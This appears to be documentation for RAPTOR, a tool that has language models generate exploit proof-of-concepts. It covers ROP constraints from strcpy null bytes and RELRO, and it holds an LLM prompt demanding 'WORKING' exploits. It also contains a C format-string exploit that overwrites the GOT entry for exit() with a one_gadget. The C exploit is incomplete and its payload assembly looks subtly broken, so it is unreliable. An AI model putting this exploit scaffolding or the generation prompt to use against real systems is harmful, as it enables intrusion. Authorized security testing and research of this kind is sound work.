RAPTOR generates working exploit proof-of-concepts using LLM-powered analysis combined with runtime constraint validation. The system verifies architectural constraints before attempting techniques to avoid wasted effort.
For authorized security testing only. Never use generated exploits against systems you don’t own or have explicit permission to test.
Verify constraints BEFORE attempting any exploit technique.Many hours can be wasted attempting techniques that are architecturally impossible. Check constraints first, then choose appropriate techniques.
Impact:strcpy copies low bytes first, then stops at null - only 6 bytes of an address can be written.Consequence: Multi-gadget ROP chains are blocked with strcpy on x86_64.
Pointer Size: 4 bytesAddresses:0x08048000-0xffffffff rangeNull Bytes: Rare in addresses (usually high bytes)Impact: ROP chains work fine with most input handlers.
Pointer Size: 8 bytesCalling Convention: X0-X7 for argumentsAddresses: Similar null byte issues to x86_64
# Ollama might generate:rop_chain = p64(pop_rdi) + p64(bin_sh) + p64(system)# But forgets this won't work with strcpy (null bytes)# Claude/GPT-4 knows:# "strcpy on x86_64 can only write ONE gadget address# due to null bytes. Use one_gadget or format string."
def generate_exploit(self, vuln: VulnerabilityContext) -> bool: """Generate proof-of-concept exploit.""" if not vuln.exploitable: return False prompt = f""" You are Mark Dowd creating a proof-of-concept exploit. Vulnerability: - Type: {vuln.rule_id} - File: {vuln.file_path}:{vuln.start_line} Analysis: {json.dumps(vuln.analysis, indent=2)} Vulnerable Code: {vuln.full_code} Create a WORKING exploit that: 1. Demonstrates this specific vulnerability 2. Is safe for isolated lab testing 3. Includes clear comments explaining the attack 4. Has detailed output showing successful exploitation 5. Prefer C++ for binary exploits, Python for web Write complete, executable code. """ response = self.llm.generate( prompt=prompt, temperature=0.8 # Higher creativity ) exploit_code = self._extract_code(response.content) # Save to file...
Format strings are powerful because %n can write null bytes (unlike strcpy).
#include <stdio.h>#include <stdint.h>#include <string.h>/* * Format String Exploit for vulnerable_server * * Vulnerability: printf(user_input) with no format string * Target: Overwrite GOT entry for exit() with one_gadget * * Constraints: * - Stack position of user_input: argv[1] is at 6th position * - GOT[exit]: 0x404028 * - one_gadget offset: 0xe3b01 (from libc base) * * Attack: Use %n to write address byte-by-byte */int main(int argc, char **argv) { // Exploit payload construction char payload[512]; // Target address: GOT[exit] = 0x404028 uint64_t target = 0x404028; // Value to write: one_gadget = libc_base + 0xe3b01 // Assume leaked libc base = 0x7ffff7a00000 uint64_t one_gadget = 0x7ffff7ae3b01; // Build format string to write one_gadget to target // Using %hhn to write one byte at a time // Position of addresses on stack (after format string) int pos = 10; // Adjust based on stack layout // Write each byte using %c to reach desired value sprintf(payload, "%%0x" // Padding "%%%d$hhn" // Write byte 0 "%%%d$hhn" // Write byte 1 // ... continue for all 8 bytes , pos, pos+1); // Append target addresses memcpy(payload + strlen(payload), &target, 8); memcpy(payload + strlen(payload), &target + 1, 8); printf("[*] Exploit payload: %s\n", payload); printf("[*] Send this to vulnerable server\n"); return 0;}
Full RELRO blocks both GOT AND .fini_array (standard linker scripts place both in RELRO segment). Don’t suggest .fini_array when Full RELRO is enabled.